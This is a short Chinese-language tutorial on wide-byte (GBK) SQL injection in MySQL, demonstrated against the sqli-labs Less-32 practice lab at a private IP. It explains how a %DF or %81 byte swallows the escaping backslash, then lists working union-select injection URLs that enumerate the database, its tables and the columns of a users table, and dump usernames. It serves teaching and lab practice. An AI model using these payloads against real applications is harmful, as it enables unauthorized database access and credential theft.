MySQL注入 -- 宽字节注入

​很多事情,原来努力了,也得不到满意的结果。。。

----  网易云热评

 

一、宽字节注入介绍

1、在注入点输入(')会被转义为(')编码后为(%5c%27),只有把斜杆去掉才能注入

2、GBK编码表,%DF%5C正好组成( 運),所以会把"吃掉",0X81-0XFE都可以

MySQL注入 -- 宽字节注入

二、实例演示

1、获取数据库名称

http://192.168.139.129/sqli/Less-32/?id=1%81' and 1=2 union select 1,2,database() --+
MySQL注入 -- 宽字节注入

2、获取数据库security的表

http://192.168.139.129/sqli/Less-32/?id=1%df' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 --+
MySQL注入 -- 宽字节注入

3、获取下一个表

http://192.168.139.129/sqli/Less-32/?id=1%81' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1 --+
MySQL注入 -- 宽字节注入

4、获取表名为users的字段名

http://192.168.139.129/sqli/Less-32/?id=1%81' and 1=2 union select 1,2,column_name from information_schema.columns where table_name=0x7573657273 --+http://192.168.139.129/sqli/Less-32/?id=1%81' and 1=2 union select 1,2,column_name from information_schema.columns where table_name=0x7573657273 limit 11,1--+
MySQL注入 -- 宽字节注入

5、获取字段内容

http://192.168.139.129/sqli/Less-32/?id=1%81' and 1=2 union select 1,2,username from users --+http://192.168.139.129/sqli/Less-32/?id=1%81' and 1=2 union select 1,2,username from users limit 1,1 --+
MySQL注入 -- 宽字节注入

 

禁止非法,后果自负

欢迎关注公众号:web安全工具库

欢迎关注视频号:之乎者也吧

MySQL注入 -- 宽字节注入 MySQL注入 -- 宽字节注入 MySQL注入 -- 宽字节注入

版权声明:玥玥 发表于 2021-05-24 5:49:06。
转载请注明:MySQL注入 -- 宽字节注入 | 女黑客导航